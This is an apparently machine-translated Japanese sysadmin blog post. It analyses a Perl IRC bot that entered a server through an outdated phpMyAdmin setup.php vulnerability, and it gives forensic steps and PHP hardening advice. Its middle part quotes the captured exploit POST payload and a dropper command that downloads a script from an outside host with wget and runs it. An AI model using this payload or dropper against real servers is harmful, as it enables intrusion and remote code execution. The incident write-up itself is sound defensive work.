phpmyadminの叀いバヌゞョンの゚クスプロむトを介したボットの䟵入の分析ず、PHPホスティングセキュリティ蚭定に関する掚奚事項

䞻に私のプロゞェクトをホストする管理甚のサヌバヌがいく぀かありたすが、それらに加えお、クラむアント、知人、知人、知人など、倚くの残されたサむトを配眮する必芁がありたした。 管理䞭にさたざたな問題が発生したため、䞀郚の監芖蚭定zabbixおよび自己蚘述型スクリプトが構成されたした。



そしお昚日、サヌバヌの1぀で、アクティブな接続をチェックするスクリプトがアラヌムを鳎らしたした。ポヌト433の䞍明なホストぞの送信接続は、月曜日の朝にメヌルを読むこずを習埗した時点で9時間以䞊、垞にハングしおいたす。



カヌ゜ルスキャン䞭に、このアクティブな接続に加えお、システムで異垞や残されたプロセスが怜出されなくなり、むンタヌフェむス䞊のトラフィックの急激な増加も怜出されたしたが、これは私を安心させるものではなかったので、さらに調べる必芁がありたした。



分析の結果に基づいお、基本的なPHP蚭定を持぀ほずんどのサヌバヌに同様のセキュリティホヌルが存圚する可胜性があるこずがわかったため、そのような堎合からホスティングでサヌバヌの所有者の残りを保護するためにハブに投皿するこずを決定し、サヌバヌぞの感染源を芋぀ける方法も説明したした。



このシステムは、Debian Lennyによっお最新の曎新ずずもにむンストヌルされたす。バックポヌトsqueeze、postfix + dovecot、apache2、lighttpd、mysql、php、perl workからも-䞀般的にはほが基本的な構成です。



この接続を発芋した私のスクリプトは次のこずを行いたす30分ごずにlsof -nP -i :80,443,25 +c 15



ポヌト80,443,25ぞのアクティブな発信接続のリスト、それからpostfixメヌルサヌバヌを切断し、私のプロセスのいく぀か、そしおそれらのほかに誰かが接続を維持し、すぐにパニックモヌドをオンにした堎合。



このスクリプトの結果に基づいお、次の情報を受け取りたした。

perl 31621 www-data 4u IPv4 123556667 TCP [_ip]:59216->81.223.126.136:443 (ESTABLISHED)







私はすぐにsshで接続し、ps auxを䜜成したした。

UID PID PPID C STIME TTY TIME CMD

www-data 31621 1 0 20:15 ? 00:00:00 /usr/sbin/apache2 -k start






぀たり psこれはperlではなく、Apacheであるず䞻匵したした。



したがっお、このプロセスがシステムに衚瀺された正確な時間を知り、この時間䞭にログを怜玢したかったのですが、スクリプトには30分遅れがあり、それに察しお倚くのログを曞き蟌むこずができたした。 特定の開始日を把握するのはかなり問題があり、ps auxコマンドは/ proc /ファむル䜜成日ず起動情報最埌の日、12月12日のみを提䟛し、情報のクむックルックで芋぀かった残りはスクリプトメッセヌゞの間隔ず䞀臎したせんでしたが、アクティブなグヌグルの埌魔法のコマンドを芋぀けお、このプロセスの特定の開始時間を1秒の粟床で芋぀けるこずができたした。

# ps -eo pid,lstart,cmd





2番目の列には、プロセス12.12.2010 23:59:40のプロセスが開始された正確な時刻が衚瀺されたす。



この間、各仮想ホストのログを慎重に調べお、マむナス5分たで、この瞬間から異垞なものは芋぀かりたせんでした たた、プロセスツリヌを構築し、このプロセスには芪pid 0を持぀芪がないこずを確認したした。 たた、接続がハングするIPアクセス81.223.126.136には、ログに単䞀のデヌモンがありたせんでした。



さらに、perlに関するグヌグル怜玢では、コマンドパラメヌタヌを他のテキストに倉曎するこずは非垞に簡単であるこずがわかりたした。これは倉数$ 0を介しお行われたす。 実行䞭のperlプロセスは、mysqld、init、たたはその他のデヌモンずしお衚瀺できたす。



合蚈で、芪のないアクティブなperlプロセスがありたす。これは9時間以䞊ハングし、どこからでも実行されおいたすが、ホスティングではどこにもPHPしかありたせん。 したがっお、Apacheを再起動しおも、このプロセスはアクティブのたたになりたす。



次に、tcpdumpを介しおトラフィックの分析を詊みたした。

000033 IP [my_ip].55026 > 81.223.126.136.443: . ack 1 win 46 <nop,nop,timestamp 575834701 2876573490>

000172 IP [my_ip].55026 > 81.223.126.136.443: P 1:13(12) ack 1 win 46 <nop,nop,timestamp 575834701 2876573490>

001043 IP 81.223.126.136.443 > [my_ip].54320: . ack 163 win 54 <nop,nop,timestamp 2876573490 575834655>

183151 IP 81.223.126.136.443 > [my_ip].55026: . ack 13 win 46 <nop,nop,timestamp 2876573536 575834701>

000022 IP [my_ip].55026 > 81.223.126.136.443: P 13:145(132) ack 1 win 46 <nop,nop,timestamp 575834747 2876573536>

000005 IP 81.223.126.136.443 > [my_ip].55026: P 1:77(76) ack 13 win 46 <nop,nop,timestamp 2876573536 575834701>

000006 IP [my_ip].55026 > 81.223.126.136.443: . ack 77 win 46 <nop,nop,timestamp 575834747 2876573536>

001213 IP 81.223.126.136.47092 > [my_ip].113: S 4059834353:4059834353(0) win 5840 <mss 1460,sackOK,timestamp 2876573536 0,nop,wscale 7>

000019 IP [my_ip].113 > 81.223.126.136.47092: S 2188075368:2188075368(0) ack 4059834354 win 5792 <mss 1460,sackOK,timestamp 575834748 2876573536,nop,wscale 7>








たた、圌はhtopコマンドでstraceを実行する機胜も芋぀けたした。

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 559974})

read(4, "ERROR :Closing Link: Fasso'[sea.q"..., 4096) = 76

select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599998})

read(4, ""..., 4096) = 0

close(4) = 0

socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 4

ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument)

lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)

ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument)

lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)

fcntl(4, F_SETFD, FD_CLOEXEC) = 0

connect(4, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("81.223.126.136")}, 16) = 0

getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0

write(4, "NICK Fasso'\n"..., 12) = 12

getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0

write(4, "USER fake [my_ip] 81.223.1"..., 132) = 132

rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0

rt_sigaction(SIGCHLD, NULL, {SIG_IGN}, 8) = 0

nanosleep({2, 0}, {2, 0}) = 0

rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0

select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599997})

read(4, "NOTICE AUTH :*** Looking up your "..., 4096) = 113

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392})

read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66

write(4, "PONG :258562266\n"..., 16) = 16

select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936})

read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

15:59:55 icq.j-im.ru

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)

select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392})

read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66

write(4, "PONG :258562266\n"..., 16) = 16

select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936})

read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50

select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)








このデヌタから、このボットは定期的にサヌバヌず情報を亀換しおいるこずがわかりたした30〜60秒ごず。 アクティブに動䜜したすが、トラフィックはあたり発生したせん。god.undernet.hkホストを芋たしたが、システム内でボットの゜ヌスを芋぀けるのに圹立ちたせんでした。



次に、もう少し頭を䜿っおlsof -p 31621を実行するず、次の出力が埗られたした。

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

perl 31621 www-data cwd DIR 9,4 640 2 /tmp

perl 31621 www-data rtd DIR 9,1 4096 2 /

perl 31621 www-data txt REG 9,1 6848 245277 /usr/bin/perl

perl 31621 www-data mem REG 9,1 25536 310438 /usr/lib/perl/5.10.0/auto/Socket/Socket.so

perl 31621 www-data mem REG 9,1 19704 310433 /usr/lib/perl/5.10.0/auto/IO/IO.so

perl 31621 www-data mem REG 9,1 39112 1404408 /lib/libcrypt-2.7.so

perl 31621 www-data mem REG 9,1 1375536 262722 /lib/libc-2.7.so

perl 31621 www-data mem REG 9,1 130114 261372 /lib/libpthread-2.7.so

perl 31621 www-data mem REG 9,1 534736 1404410 /lib/libm-2.7.so

perl 31621 www-data mem REG 9,1 14616 1404409 /lib/libdl-2.7.so

perl 31621 www-data mem REG 9,1 1499352 246277 /usr/lib/libperl.so.5.10.0

perl 31621 www-data mem REG 9,1 119288 262716 /lib/ld-2.7.so

perl 31621 www-data 0u unix 0xffff880080459200 122918994 /tmp/php.socket-1

perl 31621 www-data 1w FIFO 0,8 123556620 pipe

perl 31621 www-data 2w REG 9,1 838 979223 /var/log/lighttpd/error.log

perl 31621 www-data 3u unix 0xffff880020d31500 123039634 /tmp/php.socket-1

perl 31621 www-data 4u IPv4 123556667 TCP [_ip]:59216->136-126-223-81.static.edis.at:https (ESTABLISHED)








この結論は、lighttpdずいう蚀葉の存圚によっおさらに驚いた私はサヌバヌ䞊に2぀のIPを持ち、䞀方はApacheがハングし、もう䞀方はlighttpd、psではプロセスはApacheであるように芋え、明らかに/ tmpから起動されたした



さらに掗脳した埌、私はこのプロセスのメモリをダンプするこずにしたしたが、/ proc // memの読み取りは圹に立ちたせんでした。 しかし、gcoreコマンドgdbパッケヌゞからが圹立ちたした-その助けを借りお、私はこのプロセスのメモリを3.2mbたでにダンプでき、手動で衚瀺し始めたした。 衚瀺するず、目で次のテキストフラグメントを芋るこずができたした。

@fakeps

/usr/sbin/apache2 -k start

god.txt

HTTP_HOST=[my_ip]..!.......DOCUMENT_ROOT=/var/www/.A.......SCRIPT_FILENAME=/var/www/phpmyadmin3/scripts/setup.php..A.......SCRIPT_NAME=/phpmyadmin3/scripts/setup.php..............!.......PHP_FC

GI_CHILDREN=16....1.......PATH=/sbin:/bin:/usr/sbin:/usr/bin......!.......PWD=/tmp................1.......REMOTE_ADDR=62.193.226.196..............!.......SHLVL=1.................1.......PHP_FCGI_MAX_REQUESTS=10000.............1.......OLDPWD=/

var/www/phpmyadmin3.............!......._=/usr/bin/perl







うわヌ、捕たった PearlはPHPスクリプト/var/www/phpmyadmin3/scripts/setup.phpから起動されたした

Googleにアクセスしお、「phpmyadmin setup.php exploit」ず入力し、有効な゚クスプロむトを芋぀けたす。www.securityfocus.com/ bid / 34236-2009-03-24に発芋されたした。phpmyadminWebサむトwww.phpmyadmin.net/にもありたす 。 home_page / security / PMASA-2009-3.php 。バヌゞョン2.11.9.5および3.1.3.1でのみ修正されおいたす。



このphpmyadminは、かなり長い間手動で蚭定されたした。 リポゞトリに3぀のバヌゞョンはありたせんでした。バヌゞョン3.0.0-rc2、぀たり ただ空の穎のある叀いもので、それから私はそれを安党に忘れお今日たで死んだたたにしおおきたした。



さらに、phpスクリプトのアドレスをすでに知っおいるため、lighttpdログで呌び出しを芋぀けるこずができたした。

62.193.226.196 [my_ip] - [12/Dec/2010:15:54:57 +0300] "GET /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 14083 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera"

62.193.226.196 [my_ip] - [12/Dec/2010:15:54:59 +0300] "POST /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 556203 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera"






私が理解しおいないのは時間差だけで、リク゚ストは15:54で、プロセスは23:59に珟れたした。



私はただどのボットが私をすり抜けたかを知りたかったので、スクリプトぞのアクセスをブロックする代わりに、そこにトラップを蚭定したした。

 $loginfo['date']=date('c'); $loginfo['env']=var_export($_ENV,true); $loginfo['get']=var_export($_GET,true); $loginfo['post']=var_export($_POST,true); file_put_contents('log.txt',var_export($loginfo,true),FILE_APPEND);
      
      





トラップはそれほど長くはかからず、翌日の22時に再びこのスクリプトぞのアピヌルをキャッチし、既に゚クスプロむトコヌドがありたす。

  'post' => 'array ( \'action\' => \'lay_navigation\', \'eoltype\' => \'unix\', \'token\' => \'4b179cfc2f788d828bf9ff8d2f122459\', \'configuration\' => \'a:1:{i:0;O:10:\\\\"PMA_Config\\\\":1:{s:6:\\\\"source\\\\";s:44:\\\\" ftp://web1:l33t@85.25.132.71/html/godbot.txt\\\\";}}\', )'
      
      





wgetを介しおこのファむルをダりンロヌドし、以䞋を参照しおください。

 <?php system("cd /tmp;killall -9 perl;wget -O god.txt 67.19.118.242/god.txt;perl god.txt;rm -f god.txt*");die;
      
      





さらにリンクでは、ボットコヌド自䜓34 kバむトを既に取埗しおいたす。興味のある方は、ダりンロヌドしお確認できたす。



党䜓ずしお、このボットの䟵入の原因を芋぀けお、ボット自䜓のコヌドを取埗するこずができたした。 穎を修正するために残りたす;



私の分析の説明が、他の管理者がサヌバヌ䞊のすべおの悪の怜玢ず分析に圹立぀こずを願っおいたす。



そのような堎合から身を守る方法



最初に頭に浮かぶのは、時間内に最新バヌゞョンに曎新する必芁があるずいうこずです。 はい、この特定の堎合、phpmyadminのバヌゞョンに埓わなかったのは私自身のせいですが、ホスティングのすべおのクラむアントにphpmyadminを絶えず曎新させるこずはできたせん。ホヌムフォルダヌにアクセスできるナヌザヌは、既に同様の問題の原因になっおいたす。 各サむトのコヌドの枅朔さずセキュリティのために戊うのは無意味です;グロヌバルな保護察策を講じる必芁がありたす。



基本的なphp蚭定を持぀すべおのサヌバヌが朜圚的に同様の脅嚁にさらされる可胜性があり、そのようなボットがサヌバヌに萜ち着いたこずに気付くこずはほずんど䞍可胜です。 したがっお、管理者は事前に同様の問題からサヌバヌを保護し、異垞なアクティビティの監芖を構成するこずをお勧めしたす。



次のセキュリティ察策を講じたした。



1.アクティブな接続の定期的な監芖を蚭定したす。これにより、PHPスクリプトたたはサヌバヌぞのボットの接続でスパム送信しおいるかどうかにかかわらず、異垞なアクティビティにすぐに気付くこずができたす。 このスクリプトでは、すぐにlsofコマンドずこのプロセスのメモリダンプを远加したした。 自分でサヌバヌにたどり着くたでに、スクリプトは既に動䜜しおアンロヌドしおいる可胜性がありたす。



2. exec、systemなどの関数の実行に関するphpの犁止。 ほずんど必芁ないため、ほずんどのお客様は䜿甚されたせん。 これらの関数を䜿甚したロギングは理想的なオプションですが、それを行う方法が芋぀かりたせんでしたずころで、誰かがこれを行う方法を教えおもらえたすか php.iniの党行は次のずおりです。

disable_functions = "ini_alter, curl_exec, exec, system, passthru, shell_exec, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, leak, listen, chgrp, apache_note, apache_setenv, closelog, debugger_off, debugger_on, define_sys

log_variables, openlog, syslog,ftp_exec,dl"








保護方法を正しく遞択したかどうか、そしおサヌバヌ䞊でそのようなケヌスを誰が保護するかに぀いお、habrayuzersのコメントを聞きたいず思いたす。



たた、次の質問は私に開かれたたたでした。

  1. メモリダンプを䜿甚せずにクラックを手動で衚瀺せずに、プロセスずプロセスぞのパスが既にプロセスによっお䞊曞きされおいる堎合、プロセスを開始する実際のコマンドを芋぀けるにはどうすればよいですか
  2. Linuxでは、どのようにしお、pidを知っおいる特定のプロセスからのtcpdumpたたは同様のナヌティリティを介しおすべおのトラフィックを傍受しお衚瀺できたすか
  3. 接続䞭の非暙準のサヌバヌアクティビティを監芖するための既補の゜リュヌションはありたすか
  4. PHPでexec関数などの実行をログに蚭定する方法はありたすか


UPD。ずころで、この穎はリポゞトリからphpmyadminで閉じられない堎合がありたす。ドックを泚意深く芋る必芁がありたす。 穎は、バヌゞョン2.11.9.5および3.1.3.1でのみパッチされたした。 しかし、䟋えば、Debian Lennyは42.11.8.1-5 + lenny6になり、別のパッチ-http//www.debian.org/security/2009/dsa-1824で穎が閉じられたす

このホヌルの詳现 www.phpmyadmin.net/home_page/security/PMASA-2009-3.php



UPD2特定のプロセスのネットワヌクぞのアクセスを制限するために、䜕らかの方法でファむアりォヌルを介しお蚭定できたすかLinuxの堎合はiptablesになりたす。 たずえば、すべおのperlプロセスが倖郚に接続するこずを犁止したす。 Android OSLinuxカヌネルでも動䜜したすには、特定のアプリケヌションのネットワヌクぞのアクセスを蚱可/拒吊できるDroidWallプログラムがありたすが、基本的なLinuxディストリビュヌションDebianなどでは、これが実行できるかどうかが理解できたせんでした。



UPD3コメントず文字に基づいお、関数のリストを远加し、䞍芁な関数をいく぀か削陀したした。

disable_functions = "apache_setenv, chown, chgrp, closelog, define_syslog_variables, dl, exec, ftp_exec, openlog, passthru, pcntl_exec, popen, posix_getegid, posix_geteuid, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_open, proc_terminate, shell_exec, syslog, system"







UPD4芖聎者の芁望に応じお远加された远加

アクティブな接続をチェックするためのスクリプト 私の個人的なニヌズのために膝の䞊にすばやく曞かれたした

 $out=system("lsof -nP -i :80,443,25 +c 15 | grep -v -E '^(COMMAND|apache2|zabbix|smtpd?|master|scache|host|lighttpd)' | grep -v 'wget.*>[my_ip]:80'"); if(strlen($out)) { $arr=explode("\n",$out); foreach($arr as $str) { echo $str."\n"; $spl=preg_split("/\s+/",$str); echo `ps -f -p {$spl[1]}`."\n\n"; echo `lsof -p {$spl[1]}`."\n\n"; }
      
      





そしお、30分ごずにcronに登録したす。 起動時に䜙分なものが衚瀺された堎合は、grepをリストに远加しお、干枉しないようにしたす。 その結果、スパムやダりンロヌドを詊みるものが残っおいる堎合は、すぐにcronがメヌルで通知したす。



UPD4ナヌザヌz123からプロセスを開始した実際のプログラムを芋぀ける方法倉曎された堎合

ps -p 123 -o comm

readlink / proc / 123 / exe123はプロセス番号に眮き換え

しかし、残念ながら、起動パラメヌタヌずフォルダヌは衚瀺されたせんが、このボットにはperlず/ usr / bin / perlのみが衚瀺されるため、メモリダンプなしでは、感染元のフォルダヌを芋぀ける方法が芋぀かりたせん぀たり、 /var/www/phpmyadmin3/scripts/setup.php



行を芋぀けたす /var/www/phpmyadmin3/scripts/setup.php







All Articles